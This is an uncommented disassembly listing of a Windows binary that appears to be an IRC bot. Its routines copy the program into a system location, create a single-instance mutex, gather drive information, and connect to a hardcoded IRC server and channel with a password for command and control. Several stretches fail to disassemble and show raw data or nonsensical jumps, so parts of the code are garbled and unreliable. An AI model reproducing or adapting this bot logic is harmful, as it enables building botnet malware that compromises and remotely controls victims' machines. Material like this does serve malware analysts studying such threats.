push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_412180 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_4086DE inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4086A0 mov byte ptr [esi], 2Ch inc esi jmp short loc_4086A0 ; --------------------------------------------------------------------------- loc_4086DE: ; CODE XREF: sub_40867B+4Bj dec esi mov eax, edi loc_4086E1: ; CODE XREF: sub_40867B+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_4086F0 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_4086E1 ; --------------------------------------------------------------------------- loc_4086F0: ; CODE XREF: sub_40867B+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40867B endp ; =============== S U B R O U T I N E ======================================= sub_4086FA proc near ; CODE XREF: sub_4088A6+51p ; sub_4088A6+87p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4307F0 ; GetDriveTypeA sub eax, 0 jz short loc_40873D dec eax jz short loc_408737 dec eax dec eax jz short loc_408731 dec eax jz short loc_40872B dec eax jz short loc_408725 dec eax jz short loc_40871F mov eax, offset word_422AD8 retn ; --------------------------------------------------------------------------- loc_40871F: ; CODE XREF: sub_4086FA+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_408725: ; CODE XREF: sub_4086FA+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40872B: ; CODE XREF: sub_4086FA+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_408731: ; CODE XREF: sub_4086FA+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_408737: ; CODE XREF: sub_4086FA+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40873D: ; CODE XREF: sub_4086FA+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4086FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408743 proc near ; CODE XREF: sub_40878B+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_4306A0 test eax, eax jz short loc_408778 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_408778: ; CODE XREF: sub_408743+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_408743 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40878B proc near ; CODE XREF: sub_40799C+1F3p ; sub_4088A6+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_408743 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_408863 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_408863 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_408863 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_4124F0 push edx push eax call sub_40867B mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_410A8A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_4124F0 push edx push eax call sub_40867B push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_410A8A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_4124F0 push edx push eax call sub_40867B push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_410A8A add esp, 18h pop ebx jmp short loc_408892 ; --------------------------------------------------------------------------- loc_408863: ; CODE XREF: sub_40878B+2Cj ; sub_40878B+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41050B lea eax, [ebp+var_118] push esi push eax call sub_41050B lea eax, [ebp+var_98] push esi push eax call sub_41050B add esp, 18h loc_408892: ; CODE XREF: sub_40878B+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40878B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088A6 proc near ; CODE XREF: sub_408978+17p ; sub_408978+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40878B push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_410930 add esp, 10h test eax, eax jnz short loc_408919 push ebx push ebx call sub_4086FA pop ecx push eax push offset dword_422F98 lea eax, [ebp+var_500] push 200h push eax call sub_410A8A add esp, 14h jmp short loc_40894D ; --------------------------------------------------------------------------- loc_408919: ; CODE XREF: sub_4088A6+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4086FA pop ecx push eax push offset dword_422F48 lea eax, [ebp+var_500] push 200h push eax call sub_410A8A add esp, 20h loc_40894D: ; CODE XREF: sub_4088A6+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 lea eax, [ebp+var_500] push eax call sub_407E0E add esp, 18h pop edi pop esi pop ebx leave retn sub_4088A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408978 proc near ; CODE XREF: seg000:0040DA6Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_408999 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4088A6 add esp, 10h jmp short loc_4089FA ; --------------------------------------------------------------------------- loc_408999: ; CODE XREF: sub_408978+9j push esi push edi push ebx push ebx call ds:dword_430710 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_410C0F pop ecx mov edi, eax push edi push esi call ds:dword_430710 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_4089F1 loc_4089BD: ; CODE XREF: sub_408978+77j push offset aA_0 ; "A:\\" push esi call sub_410930 pop ecx test eax, eax pop ecx jz short loc_4089E0 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4088A6 add esp, 10h loc_4089E0: ; CODE XREF: sub_408978+54j push esi call sub_410B60 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_4089BD loc_4089F1: ; CODE XREF: sub_408978+43j push edi call sub_410C83 pop ecx pop edi pop esi loc_4089FA: ; CODE XREF: sub_408978+1Fj pop ebx pop ebp retn sub_408978 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089FD proc near ; DATA XREF: sub_4089FD+FCo var_1577B = byte ptr -1577Bh var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_4F4 = byte ptr -4F4h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_1E8 = byte ptr -1E8h var_158 = byte ptr -158h var_E4 = byte ptr -0E4h var_A0 = byte ptr -0A0h var_64 = dword ptr -64h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_4358E4 call ds:dword_430828 ; closesocket call sub_410180 call ds:dword_430700 ; WSACleanup call ds:dword_430700 ; WSACleanup mov ebx, ds:dword_41C058 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_410590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_410590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_42F3E8 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 3D0000h add cl, [ebp+var_1577B] call dword ptr [esi+50h] push edi call near ptr 3D0000h mov ah, 8Dh inc ebp lock push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 3D0000h push esi test eax, eax jz short loc_408AC2 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, ds:dword_41C070 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_408AC2: ; CODE XREF: sub_4089FD+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_434B4C mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call ds:dword_41C0F8 ; ExitProcess pop edi pop esi pop ebx push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_4089FD push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp cmp ds:dword_423000, ebx jz short loc_408B1E call sub_407261 loc_408B1E: ; CODE XREF: sub_4089FD+11Aj mov esi, ds:dword_41C04C call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_45EBC8, eax call esi ; GetTickCount push eax call sub_41055D pop ecx call sub_405D8E push 2 call ds:dword_43083C ; SetErrorMode push 7530h push offset aIds44433 ; "ids44433" push ebx push ebx call near ptr 1090004h cmpsd push eax call near ptr 1250004h pusha cmp eax, 102h jnz short loc_408B72 push 1 call ds:dword_41C0F8 ; ExitProcess loc_408B72: ; CODE XREF: sub_4089FD+16Bj lea eax, [ebp+var_884] push eax push 202h call ds:dword_430718 ; WSAStartup cmp eax, ebx jnz loc_4090A7 cmp [ebp+var_884], 2 jnz loc_4090A1 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4090A1 mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call near ptr 1270004h dec ecx lea eax, [ebp+var_2EC] push esi push eax push ebx call near ptr 1290004h mov esp, 7433E850h jmp far ptr 0FA0Ch:858D3100h ; --------------------------------------------------------------------------- dw 0FFFFh dd 0C858D50h, 50FFFFF9h, 14858D53h, 53FFFFFDh, 95FAE850h dd 858D0000h, 0FFFFFA0Ch, 0C858D50h, 50FFFFF9h, 41F96868h dd 0C858D00h, 56FFFFFBh, 7E7CE850h, 858D0000h, 0FFFFFC10h dd 14858D50h, 50FFFFFDh, 7EBFE8h, 30C48300h, 850FC085h dd 1B8h, 0ED381D39h, 68BE0045h, 74004230h, 0FF335631h dd 7F1FE8h, 4E88300h db 59h, 74h, 23h ; --------------------------------------------------------------------------- loc_408C47: ; CODE XREF: sub_4089FD+26Bj call sub_410567 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov ds:byte_423068[edi], dl inc edi call sub_410B60 sub eax, 4 pop ecx cmp edi, eax jb short loc_408C47 lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset dword_42A12C push eax call sub_41050B add esp, 10h lea eax, [ebp+var_1E8] push eax call ds:dword_41C07C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_408CAA lea eax, [ebp+var_1E8] push 80h push eax ; --------------------------------------------------------------------------- dd 0FC7357E8h db 0FFh, 58h ; --------------------------------------------------------------------------- loc_408CAA: ; CODE XREF: sub_4089FD+299j mov esi, ds:dword_41C108 lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] xor edi, edi push eax loc_408CC1: ; CODE XREF: sub_4089FD+2FBj call esi ; CopyFileA test eax, eax jnz short loc_408CFA call ds:dword_41C068 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_408CFA cmp eax, 20h jz short loc_408CDB cmp eax, 5 jnz short loc_408CFA loc_408CDB: ; CODE XREF: sub_4089FD+2D7j push 1 pop edi push 3A98h call ds:dword_41C058 ; Sleep lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_408CC1 ; --------------------------------------------------------------------------- loc_408CFA: ; CODE XREF: sub_4089FD+2C8j ; sub_4089FD+2D2j ... lea eax, [ebp+var_1E8] push eax call sub_407013 pop ecx lea eax, [ebp+var_1E8] push 7 push eax call near ptr 1310004h jmp short loc_408D81 ; --------------------------------------------------------------------------- db 10h dd 53E0458Dh, 786EE850h, 446A0000h, 0FF1C858Dh, 565EFFFFh dd 5DE85053h, 83000078h, 0B58918C4h, 0FFFFFF1Ch, 0FF2885C7h dd 0F3E8FFFFh, 89660042h, 0FFFF4C9Dh, 5E016AFFh, 0FF48B589h dd 0A9E8FFFFh, 0AC00F272h, 685650h, 0E8001000h, 0F4729Ch dd 148D8D9Ah, 51FFFFFDh, 18858D50h, 50FFFFFEh, 0F678858Dh dd 2068FFFFh db 0A1h ; --------------------------------------------------------------------------- loc_408D81: ; CODE XREF: sub_4089FD+318j inc edx add [eax-18h], dl xor byte ptr [edi+0], 0 add esp, 14h lea eax, [ebp+var_20] push eax lea eax, [ebp+var_E4] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call near ptr 1370004h dec edx test eax, eax jz short loc_408DE4 push 0C8h call ds:dword_41C058 ; Sleep push [ebp+var_20] mov esi, ds:dword_41C070 call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call ds:dword_430700 ; WSACleanup push ebx call ds:dword_41C0F8 ; ExitProcess loc_408DE4: ; CODE XREF: sub_4089FD+3BDj cmp ds:dword_45F860, 2 jle short near ptr loc_408E2F+1 mov eax, ds:dword_45F864 push dword ptr [eax+4] call sub_410A7F pop ecx mov esi, eax push 0FFFFFFFFh push esi call near ptr 3D0000h das push esi call ds:dword_41C070 ; CloseHandle mov eax, ds:dword_45F864 cmp [eax+8], ebx jz short near ptr loc_408E2F+1 push 7D0h call ds:dword_41C058 ; Sleep mov eax, ds:dword_45F864 push dword ptr [eax+8] call near ptr 3D0000h loc_408E2F: ; CODE XREF: sub_4089FD+3EEj ; sub_4089FD+418j les edi, [ecx] sbb eax, offset dword_423008 jz short loc_408E4D cmp ds:dword_430860, ebx jnz short loc_408E4D lea eax, [ebp+var_4F4] push eax call sub_40801D pop ecx loc_408E4D: ; CODE XREF: sub_4089FD+439j ; sub_4089FD+441j lea eax, [ebp+var_A0] push offset dword_42A0F4 push eax call sub_41050B push ebx lea eax, [ebp+var_A0] push ebx push eax call sub_40FFB7 lea eax, [ebp+var_A0] push eax call sub_407E0E push 0B80h push ebx push offset dword_434B58 call sub_410590 lea eax, [ebp+var_A0] push offset unk_42A0B4 push eax call sub_41050B push ebx lea eax, [ebp+var_A0] push 1 push eax call sub_40FFB7 add esp, 38h mov esi, eax mov edi, ds:dword_41C06C lea eax, [ebp+var_8] push eax push ebx push ebx push offset loc_40FF99 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_4358EC[esi], eax jnz short loc_408EED call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A0] push offset unk_42A064 push eax call sub_41050B add esp, 0Ch loc_408EED: ; CODE XREF: sub_4089FD+4D3j lea eax, [ebp+var_A0] push eax call sub_407E0E lea eax, [ebp+var_A0] mov dword ptr [esp+0], offset unk_42A028 push eax call sub_41050B push ebx lea eax, [ebp+var_A0] push 1 push eax call sub_40FFB7 add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset loc_40808D push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_4358EC[esi], eax jnz short loc_408F60 call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A0] push offset unk_429FD8 push eax call sub_41050B add esp, 0Ch loc_408F60: ; CODE XREF: sub_4089FD+546j lea eax, [ebp+var_A0] push eax call sub_407E0E call sub_410567 push 7Fh push offset aDd_mybn_us ; "dd.mybn.us" push offset dword_45EBD4 mov ds:dword_45ED4C, ebx call sub_411D00 mov eax, ds:dword_422FEC push 3Fh mov edi, offset dword_45EC54 push offset aDd ; "#dd" push edi mov ds:dword_45ED24, eax call sub_411D00 push 3Fh mov esi, offset dword_45EC94 push offset aDpass ; "dpass" push esi call sub_411D00 add esp, 28h mov ds:dword_45ED28, ebx loc_408FBF: ; CODE XREF: sub_4089FD+64Aj ; sub_4089FD+655j ... mov [ebp+var_4], ebx loc_408FC2: ; CODE XREF: sub_4089FD+5FEj push offset dword_45EBD0 mov ds:dword_45ED48, ebx call sub_4090B0 cmp eax, 2 mov [ebp+var_10], eax jz loc_40909C cmp ds:dword_45ED48, ebx jz short loc_408FE9 dec [ebp+var_4] loc_408FE9: ; CODE XREF: sub_4089FD+5E7j push 0BB8h call ds:dword_41C058 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_408FC2 cmp [ebp+var_10], 2 jz loc_40909C cmp [ebp+var_C], ebx jz short loc_40904C push 7Fh push offset aDd_mybn_us ; "dd.mybn.us" push offset dword_45EBD4 call sub_411D00 mov eax, ds:dword_422FEC push 3Fh push offset aDd ; "#dd" push edi mov ds:dword_45ED24, eax call sub_411D00 push 3Fh push offset aDpass ; "dpass" push esi call sub_411D00 add esp, 24h mov [ebp+var_C], ebx jmp loc_408FBF ; --------------------------------------------------------------------------- loc_40904C: ; CODE XREF: sub_4089FD+60Dj cmp ds:byte_423050, bl jz loc_408FBF push 7Fh push offset byte_423050 push offset dword_45EBD4 call sub_411D00 mov eax, ds:dword_422FF0 push 3Fh push offset dword_42305C push edi mov ds:dword_45ED24, eax call sub_411D00 push 3Fh push offset aDpass_0 ; "dpass" push esi call sub_411D00 add esp, 24h mov [ebp+var_C], 1 jmp loc_408FBF ; --------------------------------------------------------------------------- loc_40909C: ; CODE XREF: sub_4089FD+5DBj ; sub_4089FD+604j call sub_410180 loc_4090A1: ; CODE XREF: sub_4089FD+196j ; sub_4089FD+1A6j call ds:dword_430700 ; WSACleanup loc_4090A7: ; CODE XREF: sub_4089FD+189j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_4089FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4090B0 proc near ; CODE XREF: sub_4089FD+5D0p ; DATA XREF: seg000:0040C4CBo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_4090D5: ; CODE XREF: sub_4090B0+E6j ; sub_4090B0+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_410590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call ds:dword_430794 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40731F test eax, eax pop ecx mov [ebp+var_C], eax jz loc_409202 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_410590 push 0 lea eax, [ebp+var_2C] push ds:dword_45ED3C push ds:dword_423014 push eax call sub_40FA4E mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4358F0 push edi push eax call sub_411D00 add esp, 28h push 6 push 1 push 2 call ds:dword_430810 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov ds:dword_4358E4[eax], esi lea eax, [ebp+var_10] push eax push esi call ds:dword_430740 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40919B push esi call ds:dword_430828 ; closesocket call sub_407348 push 7D0h loc_409190: ; CODE XREF: sub_4090B0+146j call ds:dword_41C058 ; Sleep jmp loc_4090D5 ; --------------------------------------------------------------------------- loc_40919B: ; CODE XREF: sub_4090B0+CDj lea eax, [ebp+var_18C] push eax push offset dword_42A134 call sub_407E82 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_409218 add esp, 28h mov edi, eax push esi call ds:dword_430828 ; closesocket test edi, edi jz loc_4090D5 cmp edi, 1 jnz short loc_4091F8 push 0DBBA0h jmp short loc_409190 ; --------------------------------------------------------------------------- loc_4091F8: ; CODE XREF: sub_4090B0+13Fj cmp edi, 2 jz short loc_409206 jmp loc_4090D5 ; --------------------------------------------------------------------------- loc_409202: ; CODE XREF: sub_4090B0+5Aj xor eax, eax jmp short loc_409212 ; --------------------------------------------------------------------------- loc_409206: ; CODE XREF: sub_4090B0+14Bj push [ebp+var_34] call sub_4102D3 pop ecx push 2 pop eax loc_409212: ; CODE XREF: sub_4090B0+154j pop edi pop esi leave retn 4 sub_4090B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409218 proc near ; CODE XREF: sub_4090B0+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_410BE0 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_409236: ; CODE XREF: sub_409218+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_409236 cmp ds:byte_45ED40, bl jz short loc_40925D push offset byte_45ED40 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40E321 add esp, 0Ch loc_40925D: ; CODE XREF: sub_409218+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40FA4E add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41050B add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call ds:dword_4307E0 ; send cmp eax, 0FFFFFFFFh jnz short loc_4092C7 push [ebp+arg_0] call ds:dword_430828 ; closesocket push 1388h call ds:dword_41C058 ; Sleep loc_4092C0: ; CODE XREF: sub_409218+D9j ; sub_409218+153j xor eax, eax loc_4092C2: ; CODE XREF: sub_409218+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_409218+92j ; sub_409218+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_410590 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call ds:dword_4307AC ; recv test eax, eax jle short loc_4092C0 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_406CFF pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_4092C7 lea edi, [ebp+var_A10] loc_409318: ; CODE XREF: sub_409218+165j push 1 pop esi loc_40931B: ; CODE XREF: sub_409218+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call loc_409390 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40935E push 7D0h call ds:dword_41C058 ; Sleep jmp short loc_40931B ; --------------------------------------------------------------------------- loc_40935E: ; CODE XREF: sub_409218+137j cmp esi, 0FFFFFFFDh jz short loc_409388 cmp esi, 0FFFFFFFEh jz short loc_409384 cmp esi, 0FFFFFFFFh jz loc_4092C0 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_409318 jmp loc_4092C7 ; --------------------------------------------------------------------------- loc_409384: ; CODE XREF: sub_409218+14Ej push 1 jmp short loc_40938A ; --------------------------------------------------------------------------- loc_409388: ; CODE XREF: sub_409218+149j push 2 loc_40938A: ; CODE XREF: sub_409218+16Ej pop eax jmp loc_4092C2 sub_409218 endp ; --------------------------------------------------------------------------- loc_409390: ; CODE XREF: sub_409218+12Ap push ebp mov ebp, esp mov eax, 159Ch call sub_410BE0 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp-2E4h] push ebx push eax mov dword ptr [ebp-0ACh], 3 mov [ebp-10h], ebx mov [ebp-0A8h], ebx mov [ebp-8], ebx mov [ebp-4], ebx mov [ebp-0C8h], ebx call sub_410590 push 1Bh lea eax, [ebp-464h] push dword ptr [ebp+18h] push eax call sub_411D00 add esp, 18h cmp [ebp+8], ebx jz loc_40980B push esi lea eax, [ebp-0F9Ch] push ebx push eax call sub_410590 dec esi lea eax, [ebp-0F9Ch] push esi push dword ptr [ebp+8] push eax call sub_411D00 lea eax, [ebp-0F9Ch] push offset asc_42CBAC ; " :" push eax call sub_410AE0 mov [ebp-0Ch], eax lea eax, [ebp-0F9Ch] push esi push eax lea eax, [ebp-119Ch] push eax call sub_411D00 mov esi, offset asc_41F6B0 ; " " lea eax, [ebp-119Ch] push esi push eax call sub_411C60 add esp, 34h mov [ebp-0A0h], eax lea edi, [ebp-9Ch] mov dword ptr [ebp-0A4h], 1Fh loc_409463: ; CODE XREF: seg000:00409477j push esi push ebx call sub_411C60 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp-0A4h] pop ecx jnz short loc_409463 mov esi, [ebp-0A0h] cmp esi, ebx jz loc_40980B cmp [ebp-9Ch], ebx jz loc_40980B push 100h lea eax, [ebp-0A14h] push ebx push eax call sub_410590 add esp, 0Ch lea ecx, [ebp-24h] push 1Fh pop edx push 1 pop edi loc_4094B1: ; CODE XREF: seg000:004094E3j mov eax, [ecx] cmp eax, ebx jz short loc_4094DD cmp byte ptr [eax], 2Dh jnz short loc_4094E5 cmp [eax+2], bl jnz short loc_4094E5 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov byte ptr [ebp+esi-0A14h], 1 mov esi, [ebp-0A0h] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_4094DD: ; CODE XREF: seg000:004094B5j dec edx sub ecx, 4 cmp edx, ebx jge short loc_4094B1 loc_4094E5: ; CODE XREF: seg000:004094BAj ; seg000:004094BFj cmp [ebp-9A1h], bl jz short loc_4094F0 mov [ebp-8], edi loc_4094F0: ; CODE XREF: seg000:004094EBj cmp [ebp-9A6h], bl jz short loc_4094FE mov [ebp-8], ebx mov [ebp-4], edi loc_4094FE: ; CODE XREF: seg000:004094F6j cmp byte ptr [esi], 0Ah jz short loc_409538 push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_411D00 lea eax, [esi+1] push 17h push eax lea eax, [ebp-0C4h] push eax call sub_411D00 lea eax, [ebp-0C4h] push offset dword_42625C push eax call sub_411C60 add esp, 20h loc_409538: ; CODE XREF: seg000:00409501j push esi push offset aPing ; "PING" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_409589 push dword ptr [ebp-9Ch] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 mov eax, [ebp+28h] add esp, 0Ch cmp [eax], ebx jnz loc_40962D push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 add esp, 10h jmp loc_40962D ; --------------------------------------------------------------------------- loc_409589: ; CODE XREF: seg000:00409547j mov esi, [ebp-9Ch] push esi push offset a001 ; "001" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40E2DB push esi 